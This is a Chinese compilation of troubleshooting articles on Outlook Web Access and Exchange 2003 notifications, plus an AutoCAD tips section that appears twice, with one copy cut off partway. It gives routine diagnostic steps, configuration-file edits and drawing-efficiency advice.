本节讨论可用来帮助您对常见 Outlook Web Access 问题(例如本文讨论的问题)进行疑难解答的一些工具。 网络监视器 网络监视器用于监视通讯量并判定前端服务器和其他服务器之间发生的确切情况。设置一个与服务器连接的客户端,监视客户端浏览器和 Exchange 服务器之间的通讯量。如果您使用 SSL,将无法查看网络通讯量,因为它是加密的。 事件查看器 事件日志文件用于提供可帮助您缩小问题范围的错误号和错误描述。查找事件 ID,并在 Microsoft 知识库中搜索这些 ID。这些项可提供问题的线索。 IIS 日志 使用 IIS 日志文件可让您知道访问了哪些资源,以及返回到浏览器的任何错误。这些日志文件在使用了 SSL 而网络监视器选项不可用的情况下尤其有用。 不同的浏览器 使用一个以上的浏览器来重现问题。正如前面所提到的,最好使用一个以上的浏览器或客户机来重现问题。除主浏览器外,再安装一些浏览器。遇到问题后,尝试使用多个浏览器重现这些问题。 其他资源 Q243280 Users Can Log in Using User Name or User Principal Name(用户可使用用户名或用户主要名称登录)
go.microsoft.com/fwlink/?LinkId=3052&ID=243280 Q293386 XWEB: Error Message: HTTP/1.0 401 or 404(XWEB:错误消息:HTTP/1.0 401 或 404)
go.microsoft.com/fwlink/?LinkId=3052&ID=293386 Q309508 XCCC: IIS Lockdown and URLscan Configurations in an Exchange Environment(XCCC:Exchange 环境中的 IIS 锁定和 URLscan 配置)
go.microsoft.com/fwlink/?LinkId=3052&ID=309508 Q288123 HTTP Error 404 “Page Cannot Be Displayed” When You Attempt to Connect to the OWA Server(尝试连接到 OWA 服务器时出现 HTTP 错误 404 ‘页面无法显示’)
go.microsoft.com/fwlink/?LinkId=3052&ID=288123 Q282230 XGEN: Error Message “HTTP/1.1 503 Service Unavailable” on Multiple Web Sites on Single Server(XGEN:在单个服务器的多个 Web 站点上出现错误消息‘HTTP/1.1 503 没有服务’)
go.microsoft.com/fwlink/?LinkId=3052&ID=282230 Q296232 XCCC: Empty Inbox When Using Internet Explorer 5 and Later to Gain Access to OWA(XCCC:使用 Internet Explorer 5 及更高版本访问 OWA 时收件箱为空)
go.microsoft.com/fwlink/?LinkId=3052&ID=296232 Q280823 XCCC: OWA 2000 Icons and Folder Items Are Not Displayed(XCCC:不显示 OWA 2000 图标和文件夹项)
go.microsoft.com/fwlink/?LinkId=3052&ID=280823 Q187506 List of NTFS Permissions Required for IIS Site to Work(IIS 站点正常运行所需要的 NTFS 权限列表)
go.microsoft.com/fwlink/?LinkId=3052&ID=187506 , ,
篇2:WIN技巧:Exchange03“始终使用通知”疑难解答
本文的目的是为您提供帮助解决与 Exchange “始终使用最新通知”相关的问题的步骤,本文列出了下列步骤:
“将日志记录增加到 MSExchangeActiveSyncNotify 的最大值”打开该服务器的邮件跟踪“查看事件日志以验证邮件是否得到了处理”验证 Outlook Mobile Access Categorizer 是否处理了邮件“验证邮件是否保留了企业邮件传递组织或 Exchange 2003 邮件传递组织
更多信息
“始终使用最新通知”是 Exchange 2003 中的新增功能,使用户在使用 Pocket PC 时始终可以获得最新体验。只有装有 Microsoft Windows Mobile 2003 操作系统的设备上才可以使用此功能。默认情况下,“始终使用最新通知”随 Exchange 2003 一起安装。当用户的 Exchange 帐户中生成事件时,会向用户的设备发送一条通知。该设备在后台执行同步,以便用户随后查看该设备时可以获得最新的信息。
当邮件到达用户邮箱时,该文件夹中有一个事件注册项(称为绑定)会注册到 Exchange OLE 数据库提供程序 (ExOLEDB) 和 Exchange 存储事件 .dll 文件 (OmaSink.dll)。该绑定将通过存储事件接收器 (OmaSink) 触发事件。存储事件接收器会在简单邮件传输协议 (SMTP) 拾取目录中新建一封邮件。然后,Outlook Mobile Access Categorizer 会对该邮件进行处理。Outlook Mobile Access Categorizer 会修改邮件正文并将用户的设备地址添加为收件人。这样,Exchange 2003 就可以使用标准的路由机制将 SMTP 邮件发送给相应的通信公司中。通信公司会创建一条“短信服务”消息并将其发送给设备。
使用下列步骤可解决“始终使用最新通知”无法正常工作的问题。 将日志记录增加到 MSExchangeActiveSyncNotify 的最大值
1.单击“开始”,依次指向“程序”和“Microsoft Exchange”,然后单击“系统管理器”。2.展开“服务器”树。3.右键单击包含用户邮箱的服务器,然后单击“属性”。4.单击“诊断日志记录”选项卡。5.单击“MSExchangeActiveSyncNotify”,
6.将“OMA Push Cat”和“OMA Event Sink”拖到“最大值”。
返回页首 打开该服务器的邮件跟踪
1.单击“开始”,依次指向“程序”和“Microsoft Exchange”,然后单击“系统管理器”。 2.展开“服务器”树。3.右键单击要启用邮件跟踪的服务器,然后单击“属性”。4.单击“常规”选项卡。5.单击以选中“启用邮件跟踪”复选框。
此选项会记录有关发件人、邮件的发送时间或接收时间、邮件大小和优先级以及邮件收件人的信息。6.单击以选中“启用主题日志记录并显示”复选框。
此选项记录要发送到该服务器、从该服务器发出或通过该服务器发送的任何邮件的主题。7.向用户发送邮件,以开始记录日志信息。
返回页首 查看事件日志以验证邮件是否得到了处理
1.单击“开始”,指向“程序”,指向“管理工具”,然后单击“事件查看器”。2.打开“应用程序”日志。3.在“查看”菜单上,单击“筛选”。4.单击“筛选”选项卡,然后在“事件 ID”字段中键入 11324。
该事件指出 Outlook Mobile Access Event Sink 已成功处理了该邮件并且已将该邮件放置在 SMTP 拾取目录中。
返回页首 验证 Outlook Mobile Access Categorizer 是否处理了邮件
1.单击“开始”,指向“程序”,指向“管理工具”,然后单击“事件查看器”。2.单击以选择“应用程序”日志。3.在“查看”菜单上,单击“筛选”。4.单击“筛选”选项卡,然后在“事件 ID”字段中键入 10310。
该事件指出 Outlook Mobile Access Categorizer 已处理了该邮件。事件 10310 提供了用户的设备地址、用户别名和邮件 ID。
返回页首 验证邮件是否保留了企业邮件传递组织或 Exchange 2003 邮件传递组织
1.记下事件 10310 中的邮件 ID。2.单击“开始”,依次指向“程序”和“Microsoft Exchange”,然后单击“系统管理器”。3.展开“工具”容器。4.双击“邮件 ”。5.键入邮件 ID 并加上 @OMA 来搜索邮件。
例如,如果从事件 10310 获取的邮件 ID 为 01C133474E27D04FABA48D02078CF41D01137B3B,请键入:01C133474E27D04FABA48D02078CF41D01137B3B@OMA
,
篇3:AutoCAD疑难解答与应用技巧
1.打开别人图时,找不到原文件的字体怎么办?很好的方法!希望固定打开别人一张图时,要不停的替换我没有的字体文件,怎样才能一劳永逸?
答:有两种办法,
一:复制要替换的字库为将被替换的字库名,如,打开一幅图,提示找不到jd字库,你想用hztxt.shx替换它,那么你可以把hztxt.shx 复制一份,命名为jd.shx,就可以解决了,不过这种办法的缺点显而易见,太占用磁盘空间。最好用下面这种办法。
二:在autocad r14/support 目录下创建acad.fmp文件,如果原来有此文件直接打开,这是一个ASCII文件, 输入”jd;hztxt“, 如果还有别的字体要替换,可以另起一行,如“jh;hztxt”, 存盘退出, 以后如果你打开的图包含jd和jh这样你机子里没有的字库,就再也不会不停的要你找字库替换了。
2.解决AutoCAD在XP操作系统下打印时致命错误的方法
近来,有些会员反映AutoCAD 版或 版本在点击打印时出现致命错误并退出AutoCAD的现象。
经过我的研究,这跟AutoCAD 2002及以上版本使用打印戳记有关。在版时,增补的打印戳记功能就有很多的BUG,这个功能在2002版本后就直接做为AutoCAD功能。该功能在98操作系统中是完全没有问题的,但在有些XP系统中就会出错。所以在XP系统中最好不要去开启该功能。
如果你已经不幸开启了该功能而使AutoCAD在打印时出现致命错误,解决的方法只能是这样:
在AutoCAD的根目录下找到AcPltStamp.arx文件,把它改为其它名称或删除掉。
这样再进行打印就不会再出错了,但也少了打印戳记的功能。该方法对于2002版及2004版均有效。
3. 如何快速的绘图
一、熟悉对CAD中基本操作命令/快捷图标的使用
这一点大多数人都知道,古人云:熟能生巧。基本命令与快捷图标便是CAD中大家最熟悉的,也应该能熟练掌握了,所以不详谈了。
二、 ACAD.GP文件修改
大家都知道LINE命令在COMMAND输入时可简化为L,为何会如此呢?因为在AutoCAD中有一个加密文件ACAD.GP中定义了LINE命令的简写,先找出这个文件打开它。找到“These examples include most frequently used commands.”的提示语,在其下的几行文字就可对简写的定义,记住它的左列是简写命令的文字实现你可以根据你的需要进行修改(当然是你比较熟悉的英文缩写喽),它的右列是默认的命令请不要随意修改。相信这能为你提高一定的速度。
三、对图形夹点操作
夹点,你用过吗?当你用鼠标左键点击图形,图形上便会出现许多方框这些就是夹点。通过控制夹点便能进行一些基本的编辑操作。如:COPY,MOVE,改变图形所在的图层等基本操作。而且不同的图形,还有其特殊的操作。如:直线有延伸操作。
四、大量使用修改命令
对于CAD绘图工作人员来说,一幅图60%--70%是修改只有30%--40%是作图,这一点并
篇4:AutoCAD疑难解答与应用技巧
1.打开别人图时,找不到原文件的字体怎么办?很好的方法!希望固定打开别人一张图时,要不停的替换我没有的字体文件,怎样才能一劳永逸?
答:有两种办法,
一:复制要替换的字库为将被替换的字库名,如,打开一幅图,提示找不到jd字库,你想用hztxt.shx替换它,那么你可以把hztxt.shx 复制一份,命名为jd.shx,就可以解决了。不过这种办法的缺点显而易见,太占用磁盘空间。最好用下面这种办法。
二:在autocad r14/support 目录下创建acad.fmp文件,如果原来有此文件直接打开,这是一个ASCII文件, 输入“jd;hztxt”, 如果还有别的字体要替换,可以另起一行,如“jh;hztxt“, 存盘退出, 以后如果你打开的图包含jd和jh这样你机子里没有的字库,就再也不会不停的要你找字库替换了。
2.解决AutoCAD在XP操作系统下打印时致命错误的方法
近来,有些会员反映AutoCAD 2002 版或 2004版本在点击打印时出现致命错误并退出AutoCAD的现象。
经过我的研究,这跟AutoCAD 2002及以上版本使用打印戳记有关。在2000版时,增补的打印戳记功能就有很多的BUG,这个功能在2002版本后就直接做为AutoCAD功能。该功能在98操作系统中是完全没有问题的,但在有些XP系统中就会出错。所以在XP系统中最好不要去开启该功能。
如果你已经不幸开启了该功能而使AutoCAD在打印时出现致命错误,解决的方法只能是这样:
在AutoCAD的根目录下找到AcPltStamp.arx文件,把它改为其它名称或删除掉。
这样再进行打印就不会再出错了,但也少了打印戳记的功能。该方法对于2002版及2004版均有效。
3. 如何快速的绘图
一、熟悉对CAD中基本操作命令/快捷图标的使用
这一点大多数人都知道,古人云:熟能生巧。基本命令与快捷图标便是CAD中大家最熟悉的,也应该能熟练掌握了,所以不详谈了。
二、 ACAD.GP文件修改
大家都知道LINE命令在COMMAND输入时可简化为L,为何会如此呢?因为在AutoCAD中有一个加密文件ACAD.GP中定义了LINE命令的简写,先找出这个文件打开它。找到”These examples include most frequently used commands.“的提示语,在其下的几行文字就可对简写的定义,记住它的左列是简写命令的文字实现你可以根据你的需要进行修改(当然是你比较熟悉的英文缩写喽),它的右列是默认的命令请不要随意修改。相信这能为你提高一定的速度。
三、对图形夹点操作
夹点,你用过吗?当你用鼠标左键点击图形,图形上便会出现许多方框这些就是夹点。通过控制夹点便能进行一些基本的编辑操作。如:COPY,MOVE,改变图形所在的图层等基本操作。而且不同的图形,还有其特殊的操作。如:直线有延伸操作。
四、大量使用修改命令
对于CAD绘图工作人员来说,一幅图60%--70%是修改只有30%--40%是作图,这一点并
不难理解。从图形构成来看图形只有直线与曲线这两种,而曲线又由大量的圆进行剪切而成的,所以一张图最终由直线和圆组成。既然如此作图只需先画圆或直线并确定位置,然后进行一系列操作如:OFFSET, TRIM, FILLET, ARRAY, CHAMFER等,来实现图形。
如一个轴承的绘图,只需两条互相垂直的直线,而后进行OFFSET,FILLET,CHAMFER等一系列操作便能精确的完成轴承的绘制。
五、构建图块来简化绘图工作
图块是CAD操作中比较核心的工作,许多程序员与绘图工作者都建立了各种各样的图块。由于他们的工作给我们的带来了简便,我们能像砖瓦一样使用这些图块。如工程制图中建立各个规格的齿轮与轴承;建筑制图中建立一些门、窗、楼梯、台阶等以便在绘制时方便调用。
在这些图块中其中的柔性块最容易被调用,它其实是用Auto LISP/Visual LISP编写的程序。如要学习我推荐《Visual LISP使用教程》这本书。我主要介绍图形外部块的建立和调用。
1. 建立图样原型的DWG文件并保存(在WBLOCK命令下的操作,要建立图块的基点,以便以后调用)
2. 从INSERTION中向需要图块的图形中加入图块。
通过这两部就能建立并运用图块了。图块的运用将进一步的提高绘图的速度。
希望这一篇文章能对那些希望提高绘图速度的初学朋友能带来帮助。
4.关于鼠标的一点小技巧:
***AUX2
'_zoom _w
***AUX3
'_zoom _p
'pan
***AUX4
'layer$p0=tool $p0=*
'layer
在acad.mnu中做上面的设置你只要按住shift键然后击鼠标
右键就可以框选放大(zoom w)
按住ctrl键然后击鼠标
右键就可以回到上一次图形窗口(zoom p)
你还为cad2000的中键功能与原r14的中键弹出的osnap功能
冲突而苦恼吗ctrl+p即可解决
5.“↑”、“↓”键的使用
大家都知道在DOS中上、下箭头键的作用,如果运行了DOSKEY则它能记住你输入的每一条命令,再次使用相同的命令时用不着再敲一遍,用上、下箭头键选择即可。在AutoCAD中也同样可以用上、下箭头键选择以前键入的命令。这在输入文本时最为有用,无论是TEXT或DTEXT命令,均可在输入文字时使用上、下箭头键来减少命令的输入量。当然,AutoCAD记录的行数是有限的,但可通过设置来加大它的记录量,步骤是选取[Tools(工具)]→[Preferences...(参数选择)]→[Display(显示)],在[Text window parameters(文字窗口参数)]框中的第二行“Number of line of text in text windows to keep in memory”(在内存中保留文字窗口的文字行数)即为设置记录的行数,输入的数值越大则记录的越多,但如果机器内存少,那么还是少设置一些为妙,以免出意外,它的值在25和2048之间,本人的机器为128M内存,已将此值设为2048,倒也没出差错,大家可以根据自己的计算机多试几次,找到合适的数值。为了所选择的命令都是有效的,在使用AutoCAD时应尽量减少从键盘输入重复及无意义的命令,比如层对话框的调入和Undo命令的使用,能调用菜单最好调用菜单。
“!”键的使用
“!
”键也有用?是的,下面我来具体讲个例子来介绍它的用法。
假设屏幕上有一条已知长度的线(指单线、多义线,未知长度当然也可以),且与水平方向有一定的角度,要求将它缩短一定的长度且方向不变,我想每个CAD使用人员都会有自己的方法(您不会要旋转坐标系吧?),但我想所用命令都不会少于三条,而用“!”作为辅助命令则用一条命令即可,操作过程如下:
在“Command:”状态下,直接选取该线,使其夹点出现,将光标移动到要缩短的一端并激活该夹点,使这条线变为可拉伸的皮筋线,将光标按该线的方向移动,使皮筋线和原线段重合,移动的距离没有限制,有人觉得移动的方向不能和原来一样那么就用辅助点捕捉命令,在屏幕提示后输入“near”并按空格键,这时屏幕上会有提示以捕捉到原来线段上的某一点,此时在“near to”的提示后输入“!XX”(XX为具体数值)后回车,该线的长度就改变了。怎么样!不信的话就在此命令执行前后用list命令看看此线段的长度。
6.找回字体
用AutoCAD画图的人最烦的就是从别处拷来的图在本机找不到相应的字体,从而出现各式各样的乱码,造成找不到字体的原因是别人使用的字体存放位置和自己机器中的位置不一样,一般的解决办法是重新定义,但有时这种办法并不总是有效,并且在此过程中还可能造成意外错误而使AutoCAD崩溃,更可能造成图形文件被毁。本人在一次偶然的机会中用另外一条AutoCAD命令达到了一举两得的目的,即用修复(recover)命令。先运行AutoCAD,选取文件菜单中的“recover”命令,选取要处理的图形,进行修复,在修复过程中会出现要求选取字体的对话框,此时即可点取正确的字体文件以重新定义,修复完毕后文字即可正常显示。有一点我要提醒大家,如果图形文件使用的中文是非GB编码的字体文件,则你要有相应的字体文件才可正常显示出文字。
7.优化AutoCAD系y的方法
一、优化Windows系统
1.清理维护磁盘,优化Windows系统性能
如果AutoCAD发生故障,可能会导致非正常地退出交换文件,并丢失一些磁盘簇。Windows系统在启动时会自动检查丢失的磁盘簇。如果不想重新启动系统,则可从命令行运行chkdsk。
2.整理磁盘碎片,优化Windows系统性能
什么是磁盘碎片?同一磁盘文件的各个部分分散在磁盘的不同区域,当在磁盘中删除旧文件添加新文件就会产生碎片。它减慢了磁盘的访问速度,降低了磁盘的综合性能。就如同一本小说不是印刷在连续的页面上,而是每隔几行需要出现“转到xxx页”。AutoCAD在运行时,需要在磁盘中创建一定的临时文件,倘若分布于磁盘碎片之中,自然降低速度。
运行“磁盘碎片整理程序”整理磁盘碎片?
二、优化AutoCAD系统
1.优化AutoCAD R13或早期版本创建的二维多段线和关联填充
自R14版起,AutoCAD以一种优化格式创建二维多段线和关联填充,这种优化格式可以节省内存和磁盘空间。请使用CONVERT命令更新AutoCAD R13及其早期版本创建的填充图案或多段线。
2.删除图形数据库中没有使用的
命名对象,有效缩减图形文件尺寸
随着时间流逝,图形中可能会积累一些无用的命名对象(不在图中绘制出的对象)。例如,图形文字不再使用的文字样式,或者不包含任何图形对象的图层;更有甚者,包含巨大的未使用的图块等。清理操作只删除一个层次的引用。可能需要重复执行三次以上方可彻底完成清理操作。注意若在开始绘图时,执行清理废料,可能会清理掉已定义的绘图模板。
3.编组会严重影响选择类操作的速度,应删除
编组是已命名的对象选择集,与未命名的选择集不同,编组是随图形保存的。编组是属于命名对象,但可惜不能够用PURGE命令清除。如果删除一个对象或把它从编组中删除使编组为空,那么编组仍保持原定义。如若存在大量空的编组,严重影响选择速度。
4.网络版优化
AutoCAD无论是安装在网络服务器上,还是安装在客户端工作站上,用户都可以共享服务器硬盘上的数据并且把不希望共享的图形储存在本地硬盘上。两种方法各有其优点。在客户端工作站上安装AutoCAD可以优化网络性能。在服务器上安装AutoCAD可以让用户共享一份可执行文件,从而节省磁盘空间并使软件的安装和升级大大简化。也可以根据自己的网络配置,把客户端安装和服务器上安装结合起来。
5.按需加载和优化外部参照的性能
通过结合使用按需加载和保存索引的图形,可以提高包含外部参照的图形的性能。打开按需加载时,如果索引已保存到参照图形中,AutoCAD将只从参照图形中把与重生成当前图形有关的数据加载到内存中。换句话说,被参照的材料是根据需要读取的。按需加载的优异性能表现在:(1)剪裁外部参照以显示它的一小部分,并且空间索引已保存在外部参照图形中;(2)冻结外部参照的几个图层,并且图层索引与外部参照图形共同保存。
6.将其他几何图形加载到局部打开的图形中
如果处理一个很大的图形,可以使用“局部打开”选项选择图形中要处理的视图和图层中的对象(仅限于图形对象)。在图形被局部打开后,可以使用PARTIALOAD命令将其他几何图形从视图、选定的区域或图层中加载到图形中。
7.其他操作技巧
(1)冻结或关闭图层 冻结图层时AutoCAD不刷新被冻结图层上的物体数据库,从而提高速度。关闭图层时,方便操作,不需重新生成。
(2)关闭可见元素 图形的复杂程度会影响AutoCAD刷新屏幕或处理命令的速度。如果需要提高程序的性能,可关闭文本、线宽、填充、亮显选择内容以及点标记。
(3)改变临时交换文件位置 Windows的Temp目录是临时交换文件的缺省位置。可以在“选项”对话框的“文件”选项卡中找到“临时图形文件位置”,通过增加记录项可以指定不同的目录。
(4)管理光栅图像,如:临时卸载图像,拆离图形中不再需要的图像,控制图像显示质量。
(5)临时卸载外部参照。
(6)使用SHX字体替换TTF字体。
(7)控制合适的显示性能。
☆运用虚拟屏幕,减少重生成。
☆显示精度。可以使用VIEWRES命令和FACETRES系统变量控制圆、圆弧和椭圆的显示精度。
☆禁止带光栅图像平移和缩放。系统变量RTD
ISPLAY=1。
☆仅亮显光栅图像边框。IMAGEHLT=0。
☆关闭实体填充。FILLMODE=0。
(8)添加RAM是最有效的提高系统性能的方法。安装更多的RAM可以降低AutoCAD使用临时交换和页调度的需求,达到优化性能的目的。
(9)若内存较小时,使用永久交换文件,其速度比临时交换文件的速度更快。硬盘预留一定的空间,以备系统缓冲之用。
(10)对于很大的三维图,强迫AutoCAD将模型空间的对象看作二维的对象可以更有效地利用内存。相关系统变量是TREEMAX和TREEDEPTH。
三、扩充软件,丰富专业知识
(1)采用基于AutoCAD平台的专业软件。AutoCAD可以绘制任意复杂的图形,但AUTODESK从来不推荐用户用最基本的命令一笔一划地绘图。
(2)运用正版软件,支持CAD事业的发展,新的产品必将提升您公司的生产力。
(3)做好工作组或公司内部的系统规划,充分利用用户定制的优势。
(4)参加AUTODESK认证培训,整体提高CAD设计队伍的能力。
8.使用AutoCAD 2000 提高绘图效率的途径和技法
一、遵循一定的作图原则
为了提高作图速度,用户最好遵循如下的作图原则:
1.作图步骤:设置图幅→设置单位及精度→建立若干图层→设置对象样式→开始绘图。
2.绘图始终使用1:1比例。为改变图样的大小,可在打印时于图纸空间内设置不同的打印比例。
3.为不同类型的图元对象设置不同的图层、颜色及线宽,而图元对象的颜色、线型及线宽都应由图层控制(BYLAYER)。
4.需精确绘图时,可使用栅格捕捉功能,并将栅格捕捉间距设为适当的数值。
5.不要将图框和图形绘在同一幅图中,应在布局(LAYOUT)中将图框按块插入,然后打印出图。
6.对于有名对象,如视图、图层、图块、线型、文字样式、打印样式等,命名时不仅要简明,而且要遵循一定的规律,以便于查找和使用。
7.将一些常用设置,如图层、标注样式、文字样式、栅格捕捉等内容设置在一图形模板文件中(即另存为*.DWt文件),以后绘制新图时,可在创建新图形向导中单击”使用模板“来打开它,并开始绘图。
二、选用合适的命令
用户能够驾驭AutoCAD,是通过向它发出一系列的命令实现的。AutoCAD接到命令后,会立即执行该命令并完成其相应的功能。在具体操作过程中,尽管可有多种途径能够达到同样的目的,但如果命令选用得当,则会明显减少操作步骤,提高绘图效率。下面仅列举了几个较典型的案例。
1.生成直线或线段
(1)在AutoCAD中,使用LINE、XLINE、RAY、PLINE、MLINE命令均可生成直线或线段,但唯有LINE命令使用的频率最高,也最为灵活。
(2)为保证物体三视图之间”长对正、宽相等、高平齐“的对应关系,应选用XLINE和RAY命令绘出若干条辅助线,然后再用TRIM剪截掉多余的部分。
(3)欲快速生成一条封闭的填充边界,或想构造一个面域,则应选用PLINE命令。用PLINE生成的线段可用PEDIT命令进行编辑。
(4)当一次生成多条彼此平行的线段,且各条线段可能使用不同的颜色和线型时,可选择MLINE命令。
2.注释文本
(1)在使
用文本注释时,如果注释中的文字具有同样的格式,注释又很短,则选用TEXT(DTEXT)命令。
(2)当需要书写大段文字,且段落中的文字可能具有不同格式,如字体、字高、颜色、专用符号、分子式等,则应使用MTEXT命令。
3.复制图形或特性
(1)在同一图形文件中,若将图形只复制一次,则应选用COPY命令。
(2)在同一图形文件中,将某图形随意复制多次,则应选用COPY命令的MULTIPLE(重复)选项;或者,使用COPYCLIP(普通复制)或COPYBASE(指定基点后复制)命令将需要的图形复制到剪贴板,然后再使用PASTECLIP(普通粘贴)或PASTEBLOCK(以块的形式粘帖)命令粘帖到多处指定的位置。
(3)在同一图形文件中,如果复制后的图形按一定规律排列,如形成若干行若干列,或者沿某圆周(圆弧)均匀分布,则应选用ARRAY命令。
(4)在同一图形文件中,欲生成多条彼此平行、间隔相等或不等的线条,或者生成一系列同心椭圆(弧)、圆(弧)等,则应选用OFFSET命令。
(5)在同一图形文件中,如果需要复制的数量相当大,为了减少文件的大小,或便于日后统一修改,则应把指定的图形用BLOCK命令定义为块,再选用INSERT或MINSERT命令将块插入即可。
(6)在多个图形文档之间复制图形,可采用两种办法。其一,使用命令操作。先在打开的源文件中使用COPYCLIP或COPYBASE命令将图形复制到剪贴板中,然后在打开的目的文件中用PASTECLIP、PASTEBLOCK或PASTEORIG三者之一将图形复制到指定位置。这与在快捷菜单中选择相应的选项是等效的。其二,用鼠标直接拖拽被选图形。注意:在同一图形文件中拖拽只能是移动图形,而在两个图形文档之间拖拽才是复制图形。拖拽时,鼠标指针一定要指在选定图形的图线上而不是指在图线的夹点上。同时还要注意的是,用左键拖拽与用右键拖拽是有区别的。用左键是直接进行拖拽,而用右键拖拽时会弹出一快捷菜单,依据菜单提供的选项选择不同方式进行复制。
(7)在多个图形文档之间复制图形特性,应选用MATCHPROP命令(需与PAINTPROP命令匹配)。
三、使用快车工具(EXPRESS TOOLS)
所谓快车工具,实际上是为用户设计并随AutoCAD 2000一起免费提供的实用工具库。该库中的大部分工具来自AutoCAD R14的优惠(Bonus)工具,其余的则已被舍弃或改进,同时又增加了一些新工具。快车工具在图层管理、对象选择、尺寸标注样式的输入/输出、图形的编辑修改等众多方面对AutoCAD进行了功能扩展,而且能非常容易地结合在AutoCAD 2000的菜单和工具条中,使用起来方便快捷,故能明显提高你绘图的工作效率。
安装快车工具的方法,是在安装AutoCAD 2000时选择”完全“安装,或者选择带有”快车工具“选项的”用户“安装。假如当初不是这样,则应以”增加“方式重新安装AutoCAD 2000,并选择需添加的”快车工具“。
缺省时,AutoCAD 2000在启动时不把快车工具装入内存,以缩短其启动时间。当你第一次使用快车工具时,工具库会自动装入。不过你也可以在开始时用EXPRESS TOOLS命令强行装入。在已
正确安装了快车工具的前提下,如果屏幕上未出现其”快车“菜单,你可以使用EXPRESS MENU命令将菜单显示出来。
下面则是在屏幕上显示”快车“工具条的方法步骤:
(1)在下拉式菜单中,选择视图>工具条...,则出现”工具条“对话框。
(2)在名为”菜单组“的下拉组合框中,选择”快车“。
(3)在名为”工具条“的组合框中点选所需要的选项。凡冠以”X“的选项,将在屏幕上显示其工具条。
(4)单击”关闭“按钮,退出对话框。
四、打开或关闭一些可视要素
图形的复杂程度影响到AutoCAD执行命令和刷新屏幕的速度。打开或关闭一些可视要素(如填充、宽线、文本、标示点、加亮选择等)能够增强AutoCAD的性能。
(1)如果把FILL设为OFF,则关闭实体填充模式,新画的迹线、具有宽度的多义线、填充多边形等,只会显示一个轮廓,它们在打印时不被输出。而填充模式对已有图形的影响效果,可使用REGEN命令显示出来。另外,系统变量FILLMODE除控制填充模式之外,还控制着所有阴影线的显示与否。
(2)关闭宽线显示。宽线增加了线条的宽度。宽线在打印时按实际值输出,但在模型空间中是按象素比例显示的。在使用AutoCAD绘图时,可通过状态条上的LWT按钮,或者从”格式“菜单中选择”宽线“选项,用”宽线设置“对话框将宽线显示关闭,以优化其显示性能。系统变量LWDISPLAY也控制着当前图形中的宽线显示。
(3)如果把QTEXT设为ON,则打开快显文本模式。这样,在图样中新添加的文本会被隐匿起来只显示一个边框,打印输出时也是如此。该设置对已有文本的影响效果,可使用REGEN命令进行显示。另外,系统变量QTEXTMODE也控制着文本是否显示。这在图样中的文本较多时,对系统性能的影响是很明显的。
(4)禁止显示标示点。所谓标示点,是在选择图形对象或定位一点时出现在AutoCAD绘图区内的一些临时标记。它们能作为参考点,能用REDRAW或REGEN命令清除,但打印输出时并不出现在图纸上。欲禁止标示点显示,可将BLIPMODE设为OFF,以增强AutoCAD的性能。
(5)取消加亮选择。在缺省情况下,AutoCAD使用”加亮“来表示当前正被选择的图形。然而,将系统变量HIGHLIGHT的值从1改为0,取消加亮选择时,也可增强AutoCAD的性能。
(6)顺便一提的是,将系统变量REGENMODE的值设为0,或者将REGENAUTO设为OFF,可以节省图形自动重新生成的时间。
五、及时清理图形
在一个图形文件中可能存在着一些没有使用的图层、图块、文本样式、尺寸标注样式、线型等无用对象。这些无用对象不仅增大文件的尺寸,而且能降低AutoCAD的性能。用户应及时使用PURGE命令进行清理。由于图形对象经常出现嵌套,因此往往需要用户接连使用几次PURGE命令才能将无用对象清理干净。
六、使用命令别名和加速键
AutoCAD为一些比较常用的命令或菜单项定义了别名和加速键。使用命令别名和加速键可以明显节省访问命令的时间。命令别名是在acad.pgp文件中定
义的。用任何文本编辑器打开并编辑该文件,就可以添加、删除或更改命令别名。用这种方法定义的别名,当重新进入AutoCAD时即可使用。在最新的软件版本中,用户不必退出AutoCAD就可以利用快车工具重新定义命令别名,但如果使用这种方法,则需要在第一次使用新定义的别名之前,执行REINIT命令以对软件重新初始化。
命令加速键是在acad.mnu文件中定义的。欲添加、删除或更改命令加速键,用户只能用文本编辑器对acad.mnu文件进行编辑修改。修改过的*.mnu文件必须用MENU命令加载并编译后,新定义的命令加速键方可使用。
----------------------------------------------
9.轻松删除顽固图层之秒招
几大专业CAD网站中经常能看到这样的贴子:处理图样时要把不用的图层删除掉,虽然把这个图层内的所有图形都删除了,你就是删除不了该图层,动用了所有删除及相关的工具也是枉然。这种情况在处理别处转来的图样时最会碰到,有时真的只能望层兴叹,除非采用第三方工具软件,否则除了无奈还是无奈。
在一次不经意的操作过程中,我意外发现了一个非常有效的方法,屡试屡爽,百发百中,高兴之余决定拿出来与大家共享:打开一个CAD文件,在图面上只留下你需要的可见图形;点文件-另存为,确定文件名,在文件类型栏选*.DXF格式,在弹出的对话窗口中点工具-选项-DXF选项,再在选择对象处打钩,点确定,接着点保存,就可选择保存对象了;把可见或要用的图形选上就可以确定保存了,完成后退出这个刚保存的文件,再打开来看看,你会发现你不想要的图层不见了,哈哈,爽吧!
这其实是个DXF格式的选择性保存命令,不过隐藏得有点深,很少用到这个命令,巧的是由于工作需要我经常要用该命令,还被我当作删除顽固图层之另类用法,可能连该软件的制作公司都不曾想到呢,请大家活学活用,在此法下再也没有删不掉的图层了,当然0层除外。
2000、2002、2004使用通过,R14没用过,估计这功能也有吧。
如果要删除的层里面有实体,就要先把实体删除才行,把要删的层先关闭.
2 还有一个方法,在VBA版块中提过。(由MCCAD提供)
可以全选图形,然后选择文件菜单->输出->块文件,这样的块文件就是选中部分的图形了,如果这些图形中没有指定的层,这些层也不会被保存在新的图块图形中。
3 将无用的图层关闭,全选,COPY 粘贴至一新文件中,那些无用的图层就不会贴过来。如果曾经在这个不要的图层中定义过块,又在另一图层中插入了这个块,那么这个不要的图层是不能用这种方法删除的(由hellmen 提供)
4 用图层过虑可以非常简单而又很方便的解决这个问题,把与你的习惯不一样的图层全部转换成你的图层就可以了,这样来消除没有用的图层有个好处就是你只是在你这个文件中编辑,根本不要转换文件格式啊,复制粘贴到一个 新文件中那么麻烦,。最后用purge命令,消除没有用的块啊,图层啊,线形啊等等什么的,一个清爽的图就出现在您的面前了,(文件大小可以缩小到原来的30~50%哟~)(由岁月无身提供)
10.鼠标的功能!
二键式鼠标
左键 : 选择功能键(选象素 选点 选功能)
右键: 绘
图区-----快捷菜单或[ENTER]功能
1.变量 SHORTCUTMENU 等于0---------[ENTER]
2.变量 SHORTCUTMENU 大于0---------快捷菜单
3.或用于环境选项--------使用者设定---------快捷菜单开关设定
[shift]+右键:对象捕捉快捷菜单
三键式鼠标
左键 : 选择功能键(选象素 选点 选功能)
右键: 绘图区-----快捷菜单或[ENTER]功能
1.变量 SHORTCUTMENU 等于0---------[ENTER]
